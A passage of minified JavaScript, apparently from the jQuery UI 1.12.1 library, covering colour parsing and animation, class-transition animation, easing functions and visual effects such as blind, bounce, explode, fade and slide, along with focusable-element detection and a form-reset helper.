textEmphasisColor",r=/^([\-+])=\s*(\d+\.?\d*)/,h=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[t[1],t[2],t[3],t[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[2.55*t[1],2.55*t[2],2.55*t[3],t[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,parse:function(t){return[parseInt(t[1],16),parseInt(t[2],16),parseInt(t[3],16)]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])/,parse:function(t){return[parseInt(t[1]+t[1],16),parseInt(t[2]+t[2],16),parseInt(t[3]+t[3],16)]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(t){return[t[1],t[2]/100,t[3]/100,t[4]]}}],l=t.Color=function(e,i,s,n){return new t.Color.fn.parse(e,i,s,n)},c={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},u={"byte":{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},d=l.support={},p=t("<p>")[0],f=t.each;p.style.cssText="background-color:rgba(1,1,1,.5)",d.rgba=p.style.backgroundColor.indexOf("rgba")>-1,f(c,function(t,e){e.cache="_"+t,e.props.alpha={idx:3,type:"percent",def:1}}),l.fn=t.extend(l.prototype,{parse:function(n,a,r,h){if(n===e)return this._rgba=[null,null,null,null],this;(n.jquery||n.nodeType)&&(n=t(n).css(a),a=e);var u=this,d=t.type(n),p=this._rgba=[];return a!==e&&(n=[n,a,r,h],d="array"),"string"===d?this.parse(s(n)||o._default):"array"===d?(f(c.rgba.props,function(t,e){p[e.idx]=i(n[e.idx],e)}),this):"object"===d?(n instanceof l?f(c,function(t,e){n[e.cache]&&(u[e.cache]=n[e.cache].slice())}):f(c,function(e,s){var o=s.cache;f(s.props,function(t,e){if(!u[o]&&s.to){if("alpha"===t||null==n[t])return;u[o]=s.to(u._rgba)}u[o][e.idx]=i(n[t],e,!0)}),u[o]&&0>t.inArray(null,u[o].slice(0,3))&&(u[o][3]=1,s.from&&(u._rgba=s.from(u[o])))}),this):e},is:function(t){var i=l(t),s=!0,n=this;return f(c,function(t,o){var a,r=i[o.cache];return r&&(a=n[o.cache]||o.to&&o.to(n._rgba)||[],f(o.props,function(t,i){return null!=r[i.idx]?s=r[i.idx]===a[i.idx]:e})),s}),s},_space:function(){var t=[],e=this;return f(c,function(i,s){e[s.cache]&&t.push(i)}),t.pop()},transition:function(t,e){var s=l(t),n=s._space(),o=c[n],a=0===this.alpha()?l("transparent"):this,r=a[o.cache]||o.to(a._rgba),h=r.slice();return s=s[o.cache],f(o.props,function(t,n){var o=n.idx,a=r[o],l=s[o],c=u[n.type]||{};null!==l&&(null===a?h[o]=l:(c.mod&&(l-a>c.mod/2?a+=c.mod:a-l>c.mod/2&&(a-=c.mod)),h[o]=i((l-a)*e+a,n)))}),this[n](h)},blend:function(e){if(1===this._rgba[3])return this;var i=this._rgba.slice(),s=i.pop(),n=l(e)._rgba;return l(t.map(i,function(t,e){return(1-s)*n[e]+s*t}))},toRgbaString:function(){var e="rgba(",i=t.map(this._rgba,function(t,e){return null==t?e>2?1:0:t});return 1===i[3]&&(i.pop(),e="rgb("),e+i.join()+")"},toHslaString:function(){var e="hsla(",i=t.map(this.hsla(),function(t,e){return null==t&&(t=e>2?1:0),e&&3>e&&(t=Math.round(100*t)+"%"),t});return 1===i[3]&&(i.pop(),e="hsl("),e+i.join()+")"},toHexString:function(e){var i=this._rgba.slice(),s=i.pop();return e&&i.push(~~(255*s)),"#"+t.map(i,function(t){return t=(t||0).toString(16),1===t.length?"0"+t:t}).join("")},toString:function(){return 0===this._rgba[3]?"transparent":this.toRgbaString()}}),l.fn.parse.prototype=l.fn,c.hsla.to=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e,i,s=t[0]/255,n=t[1]/255,o=t[2]/255,a=t[3],r=Math.max(s,n,o),h=Math.min(s,n,o),l=r-h,c=r+h,u=.5*c;return e=h===r?0:s===r?60*(n-o)/l+360:n===r?60*(o-s)/l+120:60*(s-n)/l+240,i=0===l?0:.5>=u?l/c:l/(2-c),[Math.round(e)%360,i,u,null==a?1:a]},c.hsla.from=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e=t[0]/360,i=t[1],s=t[2],o=t[3],a=.5>=s?s*(1+i):s+i-s*i,r=2*s-a;return[Math.round(255*n(r,a,e+1/3)),Math.round(255*n(r,a,e)),Math.round(255*n(r,a,e-1/3)),o]},f(c,function(s,n){var o=n.props,a=n.cache,h=n.to,c=n.from;l.fn[s]=function(s){if(h&&!this[a]&&(this[a]=h(this._rgba)),s===e)return this[a].slice();var n,r=t.type(s),u="array"===r||"object"===r?s:arguments,d=this[a].slice();return f(o,function(t,e){var s=u["object"===r?t:e.idx];null==s&&(s=d[e.idx]),d[e.idx]=i(s,e)}),c?(n=l(c(d)),n[a]=d,n):l(d)},f(o,function(e,i){l.fn[e]||(l.fn[e]=function(n){var o,a=t.type(n),h="alpha"===e?this._hsla?"hsla":"rgba":s,l=this[h](),c=l[i.idx];return"undefined"===a?c:("function"===a&&(n=n.call(this,c),a=t.type(n)),null==n&&i.empty?this:("string"===a&&(o=r.exec(n),o&&(n=c+parseFloat(o[2])*("+"===o[1]?1:-1))),l[i.idx]=n,this[h](l)))})})}),l.hook=function(e){var i=e.split(" ");f(i,function(e,i){t.cssHooks[i]={set:function(e,n){var o,a,r="";if("transparent"!==n&&("string"!==t.type(n)||(o=s(n)))){if(n=l(o||n),!d.rgba&&1!==n._rgba[3]){for(a="backgroundColor"===i?e.parentNode:e;(""===r||"transparent"===r)&&a&&a.style;)try{r=t.css(a,"backgroundColor"),a=a.parentNode}catch(h){}n=n.blend(r&&"transparent"!==r?r:"_default")}n=n.toRgbaString()}try{e.style[i]=n}catch(h){}}},t.fx.step[i]=function(e){e.colorInit||(e.start=l(e.elem,i),e.end=l(e.end),e.colorInit=!0),t.cssHooks[i].set(e.elem,e.start.transition(e.end,e.pos))}})},l.hook(a),t.cssHooks.borderColor={expand:function(t){var e={};return f(["Top","Right","Bottom","Left"],function(i,s){e["border"+s+"Color"]=t}),e}},o=t.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"}}(p),function(){function e(e){var i,s,n=e.ownerDocument.defaultView?e.ownerDocument.defaultView.getComputedStyle(e,null):e.currentStyle,o={};if(n&&n.length&&n[0]&&n[n[0]])for(s=n.length;s--;)i=n[s],"string"==typeof n[i]&&(o[t.camelCase(i)]=n[i]);else for(i in n)"string"==typeof n[i]&&(o[i]=n[i]);return o}function i(e,i){var s,o,a={};for(s in i)o=i[s],e[s]!==o&&(n[s]||(t.fx.step[s]||!isNaN(parseFloat(o)))&&(a[s]=o));return a}var s=["add","remove","toggle"],n={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};t.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],function(e,i){t.fx.step[i]=function(t){("none"!==t.end&&!t.setAttr||1===t.pos&&!t.setAttr)&&(p.style(t.elem,i,t.end),t.setAttr=!0)}}),t.fn.addBack||(t.fn.addBack=function(t){return this.add(null==t?this.prevObject:this.prevObject.filter(t))}),t.effects.animateClass=function(n,o,a,r){var h=t.speed(o,a,r);return this.queue(function(){var o,a=t(this),r=a.attr("class")||"",l=h.children?a.find("*").addBack():a;l=l.map(function(){var i=t(this);return{el:i,start:e(this)}}),o=function(){t.each(s,function(t,e){n[e]&&a[e+"Class"](n[e])})},o(),l=l.map(function(){return this.end=e(this.el[0]),this.diff=i(this.start,this.end),this}),a.attr("class",r),l=l.map(function(){var e=this,i=t.Deferred(),s=t.extend({},h,{queue:!1,complete:function(){i.resolve(e)}});return this.el.animate(this.diff,s),i.promise()}),t.when.apply(t,l.get()).done(function(){o(),t.each(arguments,function(){var e=this.el;t.each(this.diff,function(t){e.css(t,"")})}),h.complete.call(a[0])})})},t.fn.extend({addClass:function(e){return function(i,s,n,o){return s?t.effects.animateClass.call(this,{add:i},s,n,o):e.apply(this,arguments)}}(t.fn.addClass),removeClass:function(e){return function(i,s,n,o){return arguments.length>1?t.effects.animateClass.call(this,{remove:i},s,n,o):e.apply(this,arguments)}}(t.fn.removeClass),toggleClass:function(e){return function(i,s,n,o,a){return"boolean"==typeof s||void 0===s?n?t.effects.animateClass.call(this,s?{add:i}:{remove:i},n,o,a):e.apply(this,arguments):t.effects.animateClass.call(this,{toggle:i},s,n,o)}}(t.fn.toggleClass),switchClass:function(e,i,s,n,o){return t.effects.animateClass.call(this,{add:i,remove:e},s,n,o)}})}(),function(){function e(e,i,s,n){return t.isPlainObject(e)&&(i=e,e=e.effect),e={effect:e},null==i&&(i={}),t.isFunction(i)&&(n=i,s=null,i={}),("number"==typeof i||t.fx.speeds[i])&&(n=s,s=i,i={}),t.isFunction(s)&&(n=s,s=null),i&&t.extend(e,i),s=s||i.duration,e.duration=t.fx.off?0:"number"==typeof s?s:s in t.fx.speeds?t.fx.speeds[s]:t.fx.speeds._default,e.complete=n||i.complete,e}function i(e){return!e||"number"==typeof e||t.fx.speeds[e]?!0:"string"!=typeof e||t.effects.effect[e]?t.isFunction(e)?!0:"object"!=typeof e||e.effect?!1:!0:!0}function s(t,e){var i=e.outerWidth(),s=e.outerHeight(),n=/^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/,o=n.exec(t)||["",0,i,s,0];return{top:parseFloat(o[1])||0,right:"auto"===o[2]?i:parseFloat(o[2]),bottom:"auto"===o[3]?s:parseFloat(o[3]),left:parseFloat(o[4])||0}}t.expr&&t.expr.filters&&t.expr.filters.animated&&(t.expr.filters.animated=function(e){return function(i){return!!t(i).data(d)||e(i)}}(t.expr.filters.animated)),t.uiBackCompat!==!1&&t.extend(t.effects,{save:function(t,e){for(var i=0,s=e.length;s>i;i++)null!==e[i]&&t.data(c+e[i],t[0].style[e[i]])},restore:function(t,e){for(var i,s=0,n=e.length;n>s;s++)null!==e[s]&&(i=t.data(c+e[s]),t.css(e[s],i))},setMode:function(t,e){return"toggle"===e&&(e=t.is(":hidden")?"show":"hide"),e},createWrapper:function(e){if(e.parent().is(".ui-effects-wrapper"))return e.parent();var i={width:e.outerWidth(!0),height:e.outerHeight(!0),"float":e.css("float")},s=t("<div></div>").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),n={width:e.width(),height:e.height()},o=document.activeElement;try{o.id}catch(a){o=document.body}return e.wrap(s),(e[0]===o||t.contains(e[0],o))&&t(o).trigger("focus"),s=e.parent(),"static"===e.css("position")?(s.css({position:"relative"}),e.css({position:"relative"})):(t.extend(i,{position:e.css("position"),zIndex:e.css("z-index")}),t.each(["top","left","bottom","right"],function(t,s){i[s]=e.css(s),isNaN(parseInt(i[s],10))&&(i[s]="auto")}),e.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})),e.css(n),s.css(i).show()},removeWrapper:function(e){var i=document.activeElement;return e.parent().is(".ui-effects-wrapper")&&(e.parent().replaceWith(e),(e[0]===i||t.contains(e[0],i))&&t(i).trigger("focus")),e}}),t.extend(t.effects,{version:"1.12.1",define:function(e,i,s){return s||(s=i,i="effect"),t.effects.effect[e]=s,t.effects.effect[e].mode=i,s},scaledDimensions:function(t,e,i){if(0===e)return{height:0,width:0,outerHeight:0,outerWidth:0};var s="horizontal"!==i?(e||100)/100:1,n="vertical"!==i?(e||100)/100:1;return{height:t.height()*n,width:t.width()*s,outerHeight:t.outerHeight()*n,outerWidth:t.outerWidth()*s}},clipToBox:function(t){return{width:t.clip.right-t.clip.left,height:t.clip.bottom-t.clip.top,left:t.clip.left,top:t.clip.top}},unshift:function(t,e,i){var s=t.queue();e>1&&s.splice.apply(s,[1,0].concat(s.splice(e,i))),t.dequeue()},saveStyle:function(t){t.data(u,t[0].style.cssText)},restoreStyle:function(t){t[0].style.cssText=t.data(u)||"",t.removeData(u)},mode:function(t,e){var i=t.is(":hidden");return"toggle"===e&&(e=i?"show":"hide"),(i?"hide"===e:"show"===e)&&(e="none"),e},getBaseline:function(t,e){var i,s;switch(t[0]){case"top":i=0;break;case"middle":i=.5;break;case"bottom":i=1;break;default:i=t[0]/e.height}switch(t[1]){case"left":s=0;break;case"center":s=.5;break;case"right":s=1;break;default:s=t[1]/e.width}return{x:s,y:i}},createPlaceholder:function(e){var i,s=e.css("position"),n=e.position();return e.css({marginTop:e.css("marginTop"),marginBottom:e.css("marginBottom"),marginLeft:e.css("marginLeft"),marginRight:e.css("marginRight")}).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()),/^(static|relative)/.test(s)&&(s="absolute",i=t("<"+e[0].nodeName+">").insertAfter(e).css({display:/^(inline|ruby)/.test(e.css("display"))?"inline-block":"block",visibility:"hidden",marginTop:e.css("marginTop"),marginBottom:e.css("marginBottom"),marginLeft:e.css("marginLeft"),marginRight:e.css("marginRight"),"float":e.css("float")}).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()).addClass("ui-effects-placeholder"),e.data(c+"placeholder",i)),e.css({position:s,left:n.left,top:n.top}),i},removePlaceholder:function(t){var e=c+"placeholder",i=t.data(e);i&&(i.remove(),t.removeData(e))},cleanUp:function(e){t.effects.restoreStyle(e),t.effects.removePlaceholder(e)},setTransition:function(e,i,s,n){return n=n||{},t.each(i,function(t,i){var o=e.cssUnit(i);o[0]>0&&(n[i]=o[0]*s+o[1])}),n}}),t.fn.extend({effect:function(){function i(e){function i(){r.removeData(d),t.effects.cleanUp(r),"hide"===s.mode&&r.hide(),a()}function a(){t.isFunction(h)&&h.call(r[0]),t.isFunction(e)&&e()}var r=t(this);s.mode=c.shift(),t.uiBackCompat===!1||o?"none"===s.mode?(r[l](),a()):n.call(r[0],s,i):(r.is(":hidden")?"hide"===l:"show"===l)?(r[l](),a()):n.call(r[0],s,a)}var s=e.apply(this,arguments),n=t.effects.effect[s.effect],o=n.mode,a=s.queue,r=a||"fx",h=s.complete,l=s.mode,c=[],u=function(e){var i=t(this),s=t.effects.mode(i,l)||o;i.data(d,!0),c.push(s),o&&("show"===s||s===o&&"hide"===s)&&i.show(),o&&"none"===s||t.effects.saveStyle(i),t.isFunction(e)&&e()};return t.fx.off||!n?l?this[l](s.duration,h):this.each(function(){h&&h.call(this)}):a===!1?this.each(u).each(i):this.queue(r,u).queue(r,i)},show:function(t){return function(s){if(i(s))return t.apply(this,arguments);var n=e.apply(this,arguments);return n.mode="show",this.effect.call(this,n)
}}(t.fn.show),hide:function(t){return function(s){if(i(s))return t.apply(this,arguments);var n=e.apply(this,arguments);return n.mode="hide",this.effect.call(this,n)}}(t.fn.hide),toggle:function(t){return function(s){if(i(s)||"boolean"==typeof s)return t.apply(this,arguments);var n=e.apply(this,arguments);return n.mode="toggle",this.effect.call(this,n)}}(t.fn.toggle),cssUnit:function(e){var i=this.css(e),s=[];return t.each(["em","px","%","pt"],function(t,e){i.indexOf(e)>0&&(s=[parseFloat(i),e])}),s},cssClip:function(t){return t?this.css("clip","rect("+t.top+"px "+t.right+"px "+t.bottom+"px "+t.left+"px)"):s(this.css("clip"),this)},transfer:function(e,i){var s=t(this),n=t(e.to),o="fixed"===n.css("position"),a=t("body"),r=o?a.scrollTop():0,h=o?a.scrollLeft():0,l=n.offset(),c={top:l.top-r,left:l.left-h,height:n.innerHeight(),width:n.innerWidth()},u=s.offset(),d=t("<div class='ui-effects-transfer'></div>").appendTo("body").addClass(e.className).css({top:u.top-r,left:u.left-h,height:s.innerHeight(),width:s.innerWidth(),position:o?"fixed":"absolute"}).animate(c,e.duration,e.easing,function(){d.remove(),t.isFunction(i)&&i()})}}),t.fx.step.clip=function(e){e.clipInit||(e.start=t(e.elem).cssClip(),"string"==typeof e.end&&(e.end=s(e.end,e.elem)),e.clipInit=!0),t(e.elem).cssClip({top:e.pos*(e.end.top-e.start.top)+e.start.top,right:e.pos*(e.end.right-e.start.right)+e.start.right,bottom:e.pos*(e.end.bottom-e.start.bottom)+e.start.bottom,left:e.pos*(e.end.left-e.start.left)+e.start.left})}}(),function(){var e={};t.each(["Quad","Cubic","Quart","Quint","Expo"],function(t,i){e[i]=function(e){return Math.pow(e,t+2)}}),t.extend(e,{Sine:function(t){return 1-Math.cos(t*Math.PI/2)},Circ:function(t){return 1-Math.sqrt(1-t*t)},Elastic:function(t){return 0===t||1===t?t:-Math.pow(2,8*(t-1))*Math.sin((80*(t-1)-7.5)*Math.PI/15)},Back:function(t){return t*t*(3*t-2)},Bounce:function(t){for(var e,i=4;((e=Math.pow(2,--i))-1)/11>t;);return 1/Math.pow(4,3-i)-7.5625*Math.pow((3*e-2)/22-t,2)}}),t.each(e,function(e,i){t.easing["easeIn"+e]=i,t.easing["easeOut"+e]=function(t){return 1-i(1-t)},t.easing["easeInOut"+e]=function(t){return.5>t?i(2*t)/2:1-i(-2*t+2)/2}})}();var f=t.effects;t.effects.define("blind","hide",function(e,i){var s={up:["bottom","top"],vertical:["bottom","top"],down:["top","bottom"],left:["right","left"],horizontal:["right","left"],right:["left","right"]},n=t(this),o=e.direction||"up",a=n.cssClip(),r={clip:t.extend({},a)},h=t.effects.createPlaceholder(n);r.clip[s[o][0]]=r.clip[s[o][1]],"show"===e.mode&&(n.cssClip(r.clip),h&&h.css(t.effects.clipToBox(r)),r.clip=a),h&&h.animate(t.effects.clipToBox(r),e.duration,e.easing),n.animate(r,{queue:!1,duration:e.duration,easing:e.easing,complete:i})}),t.effects.define("bounce",function(e,i){var s,n,o,a=t(this),r=e.mode,h="hide"===r,l="show"===r,c=e.direction||"up",u=e.distance,d=e.times||5,p=2*d+(l||h?1:0),f=e.duration/p,g=e.easing,m="up"===c||"down"===c?"top":"left",_="up"===c||"left"===c,v=0,b=a.queue().length;for(t.effects.createPlaceholder(a),o=a.css(m),u||(u=a["top"===m?"outerHeight":"outerWidth"]()/3),l&&(n={opacity:1},n[m]=o,a.css("opacity",0).css(m,_?2*-u:2*u).animate(n,f,g)),h&&(u/=Math.pow(2,d-1)),n={},n[m]=o;d>v;v++)s={},s[m]=(_?"-=":"+=")+u,a.animate(s,f,g).animate(n,f,g),u=h?2*u:u/2;h&&(s={opacity:0},s[m]=(_?"-=":"+=")+u,a.animate(s,f,g)),a.queue(i),t.effects.unshift(a,b,p+1)}),t.effects.define("clip","hide",function(e,i){var s,n={},o=t(this),a=e.direction||"vertical",r="both"===a,h=r||"horizontal"===a,l=r||"vertical"===a;s=o.cssClip(),n.clip={top:l?(s.bottom-s.top)/2:s.top,right:h?(s.right-s.left)/2:s.right,bottom:l?(s.bottom-s.top)/2:s.bottom,left:h?(s.right-s.left)/2:s.left},t.effects.createPlaceholder(o),"show"===e.mode&&(o.cssClip(n.clip),n.clip=s),o.animate(n,{queue:!1,duration:e.duration,easing:e.easing,complete:i})}),t.effects.define("drop","hide",function(e,i){var s,n=t(this),o=e.mode,a="show"===o,r=e.direction||"left",h="up"===r||"down"===r?"top":"left",l="up"===r||"left"===r?"-=":"+=",c="+="===l?"-=":"+=",u={opacity:0};t.effects.createPlaceholder(n),s=e.distance||n["top"===h?"outerHeight":"outerWidth"](!0)/2,u[h]=l+s,a&&(n.css(u),u[h]=c+s,u.opacity=1),n.animate(u,{queue:!1,duration:e.duration,easing:e.easing,complete:i})}),t.effects.define("explode","hide",function(e,i){function s(){b.push(this),b.length===u*d&&n()}function n(){p.css({visibility:"visible"}),t(b).remove(),i()}var o,a,r,h,l,c,u=e.pieces?Math.round(Math.sqrt(e.pieces)):3,d=u,p=t(this),f=e.mode,g="show"===f,m=p.show().css("visibility","hidden").offset(),_=Math.ceil(p.outerWidth()/d),v=Math.ceil(p.outerHeight()/u),b=[];for(o=0;u>o;o++)for(h=m.top+o*v,c=o-(u-1)/2,a=0;d>a;a++)r=m.left+a*_,l=a-(d-1)/2,p.clone().appendTo("body").wrap("<div></div>").css({position:"absolute",visibility:"visible",left:-a*_,top:-o*v}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:_,height:v,left:r+(g?l*_:0),top:h+(g?c*v:0),opacity:g?0:1}).animate({left:r+(g?0:l*_),top:h+(g?0:c*v),opacity:g?1:0},e.duration||500,e.easing,s)}),t.effects.define("fade","toggle",function(e,i){var s="show"===e.mode;t(this).css("opacity",s?0:1).animate({opacity:s?1:0},{queue:!1,duration:e.duration,easing:e.easing,complete:i})}),t.effects.define("fold","hide",function(e,i){var s=t(this),n=e.mode,o="show"===n,a="hide"===n,r=e.size||15,h=/([0-9]+)%/.exec(r),l=!!e.horizFirst,c=l?["right","bottom"]:["bottom","right"],u=e.duration/2,d=t.effects.createPlaceholder(s),p=s.cssClip(),f={clip:t.extend({},p)},g={clip:t.extend({},p)},m=[p[c[0]],p[c[1]]],_=s.queue().length;h&&(r=parseInt(h[1],10)/100*m[a?0:1]),f.clip[c[0]]=r,g.clip[c[0]]=r,g.clip[c[1]]=0,o&&(s.cssClip(g.clip),d&&d.css(t.effects.clipToBox(g)),g.clip=p),s.queue(function(i){d&&d.animate(t.effects.clipToBox(f),u,e.easing).animate(t.effects.clipToBox(g),u,e.easing),i()}).animate(f,u,e.easing).animate(g,u,e.easing).queue(i),t.effects.unshift(s,_,4)}),t.effects.define("highlight","show",function(e,i){var s=t(this),n={backgroundColor:s.css("backgroundColor")};"hide"===e.mode&&(n.opacity=0),t.effects.saveStyle(s),s.css({backgroundImage:"none",backgroundColor:e.color||"#ffff99"}).animate(n,{queue:!1,duration:e.duration,easing:e.easing,complete:i})}),t.effects.define("size",function(e,i){var s,n,o,a=t(this),r=["fontSize"],h=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"],l=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"],c=e.mode,u="effect"!==c,d=e.scale||"both",p=e.origin||["middle","center"],f=a.css("position"),g=a.position(),m=t.effects.scaledDimensions(a),_=e.from||m,v=e.to||t.effects.scaledDimensions(a,0);t.effects.createPlaceholder(a),"show"===c&&(o=_,_=v,v=o),n={from:{y:_.height/m.height,x:_.width/m.width},to:{y:v.height/m.height,x:v.width/m.width}},("box"===d||"both"===d)&&(n.from.y!==n.to.y&&(_=t.effects.setTransition(a,h,n.from.y,_),v=t.effects.setTransition(a,h,n.to.y,v)),n.from.x!==n.to.x&&(_=t.effects.setTransition(a,l,n.from.x,_),v=t.effects.setTransition(a,l,n.to.x,v))),("content"===d||"both"===d)&&n.from.y!==n.to.y&&(_=t.effects.setTransition(a,r,n.from.y,_),v=t.effects.setTransition(a,r,n.to.y,v)),p&&(s=t.effects.getBaseline(p,m),_.top=(m.outerHeight-_.outerHeight)*s.y+g.top,_.left=(m.outerWidth-_.outerWidth)*s.x+g.left,v.top=(m.outerHeight-v.outerHeight)*s.y+g.top,v.left=(m.outerWidth-v.outerWidth)*s.x+g.left),a.css(_),("content"===d||"both"===d)&&(h=h.concat(["marginTop","marginBottom"]).concat(r),l=l.concat(["marginLeft","marginRight"]),a.find("*[width]").each(function(){var i=t(this),s=t.effects.scaledDimensions(i),o={height:s.height*n.from.y,width:s.width*n.from.x,outerHeight:s.outerHeight*n.from.y,outerWidth:s.outerWidth*n.from.x},a={height:s.height*n.to.y,width:s.width*n.to.x,outerHeight:s.height*n.to.y,outerWidth:s.width*n.to.x};n.from.y!==n.to.y&&(o=t.effects.setTransition(i,h,n.from.y,o),a=t.effects.setTransition(i,h,n.to.y,a)),n.from.x!==n.to.x&&(o=t.effects.setTransition(i,l,n.from.x,o),a=t.effects.setTransition(i,l,n.to.x,a)),u&&t.effects.saveStyle(i),i.css(o),i.animate(a,e.duration,e.easing,function(){u&&t.effects.restoreStyle(i)})})),a.animate(v,{queue:!1,duration:e.duration,easing:e.easing,complete:function(){var e=a.offset();0===v.opacity&&a.css("opacity",_.opacity),u||(a.css("position","static"===f?"relative":f).offset(e),t.effects.saveStyle(a)),i()}})}),t.effects.define("scale",function(e,i){var s=t(this),n=e.mode,o=parseInt(e.percent,10)||(0===parseInt(e.percent,10)?0:"effect"!==n?0:100),a=t.extend(!0,{from:t.effects.scaledDimensions(s),to:t.effects.scaledDimensions(s,o,e.direction||"both"),origin:e.origin||["middle","center"]},e);e.fade&&(a.from.opacity=1,a.to.opacity=0),t.effects.effect.size.call(this,a,i)}),t.effects.define("puff","hide",function(e,i){var s=t.extend(!0,{},e,{fade:!0,percent:parseInt(e.percent,10)||150});t.effects.effect.scale.call(this,s,i)}),t.effects.define("pulsate","show",function(e,i){var s=t(this),n=e.mode,o="show"===n,a="hide"===n,r=o||a,h=2*(e.times||5)+(r?1:0),l=e.duration/h,c=0,u=1,d=s.queue().length;for((o||!s.is(":visible"))&&(s.css("opacity",0).show(),c=1);h>u;u++)s.animate({opacity:c},l,e.easing),c=1-c;s.animate({opacity:c},l,e.easing),s.queue(i),t.effects.unshift(s,d,h+1)}),t.effects.define("shake",function(e,i){var s=1,n=t(this),o=e.direction||"left",a=e.distance||20,r=e.times||3,h=2*r+1,l=Math.round(e.duration/h),c="up"===o||"down"===o?"top":"left",u="up"===o||"left"===o,d={},p={},f={},g=n.queue().length;for(t.effects.createPlaceholder(n),d[c]=(u?"-=":"+=")+a,p[c]=(u?"+=":"-=")+2*a,f[c]=(u?"-=":"+=")+2*a,n.animate(d,l,e.easing);r>s;s++)n.animate(p,l,e.easing).animate(f,l,e.easing);n.animate(p,l,e.easing).animate(d,l/2,e.easing).queue(i),t.effects.unshift(n,g,h+1)}),t.effects.define("slide","show",function(e,i){var s,n,o=t(this),a={up:["bottom","top"],down:["top","bottom"],left:["right","left"],right:["left","right"]},r=e.mode,h=e.direction||"left",l="up"===h||"down"===h?"top":"left",c="up"===h||"left"===h,u=e.distance||o["top"===l?"outerHeight":"outerWidth"](!0),d={};t.effects.createPlaceholder(o),s=o.cssClip(),n=o.position()[l],d[l]=(c?-1:1)*u+n,d.clip=o.cssClip(),d.clip[a[h][1]]=d.clip[a[h][0]],"show"===r&&(o.cssClip(d.clip),o.css(l,d[l]),d.clip=s,d[l]=n),o.animate(d,{queue:!1,duration:e.duration,easing:e.easing,complete:i})});var f;t.uiBackCompat!==!1&&(f=t.effects.define("transfer",function(e,i){t(this).transfer(e,i)})),t.ui.focusable=function(i,s){var n,o,a,r,h,l=i.nodeName.toLowerCase();return"area"===l?(n=i.parentNode,o=n.name,i.href&&o&&"map"===n.nodeName.toLowerCase()?(a=t("img[usemap='#"+o+"']"),a.length>0&&a.is(":visible")):!1):(/^(input|select|textarea|button|object)$/.test(l)?(r=!i.disabled,r&&(h=t(i).closest("fieldset")[0],h&&(r=!h.disabled))):r="a"===l?i.href||s:s,r&&t(i).is(":visible")&&e(t(i)))},t.extend(t.expr[":"],{focusable:function(e){return t.ui.focusable(e,null!=t.attr(e,"tabindex"))}}),t.ui.focusable,t.fn.form=function(){return"string"==typeof this[0].form?this.closest("form"):t(this[0].form)},t.ui.formResetMixin={_formResetHandler:function(){var e=t(this);setTimeout(function(){var i=e.data("ui-form-reset-instances");t.each(i,function(){this.refresh()})})},_bindFormResetHandler:function(){if(this.form=this.element.form(),this.form.length){var t=this.form.data("ui-form-reset-instances")||[];t.length||this.form.on("reset.ui-form-reset",this._formResetHandler),t.push(this),this.form.data("ui-form-reset-instances",t)}},_unbindFormResetHandler:function(){if(this.form.length){var e=this.form.data("ui-form-reset-instances");e.splice(t.inArray(this,e),1),e.length?this.form.data("ui-form-reset-instances",e):this.form.removeData("ui-form-reset-instances").off("reset.ui-form-reset")}}},"1.7"===t.fn.jquery.substring(0,3)&&(t.each(["Width","Height"],function(e,i){function s(e,i,s,o){return t.each(n,function(){i-=parseFloat(t.css(e,"padding"+this))||0,s&&(i-=parseFloat(t.css(e,"border"+this+"Width"))||0),o&&(i-=parseFloat(t.css(e,"margin"+this))||0)}),i}var n="Width"===i?["Left","Right"]:["Top","Bottom"],o=i.toLowerCase(),a={innerWidth:t.fn.innerWidth,innerHeight:t.fn.innerHeight,outerWidth:t.fn.outerWidth,outerHeight:t.fn.outerHeight};t.fn["inner"+i]=function(e){return void 0===e?a["inner"+i].call(this):this.each(function(){t(this).css(o,s(this,e)+"px")})},t.fn["outer"+i]=function(e,n){return"number"!=typeof e?a["outer"+i].call(this,e):this.each(function(){t(this).css(o,s(this,e,!0,n)+"px")})}}),t.fn.addBack=function(t){return 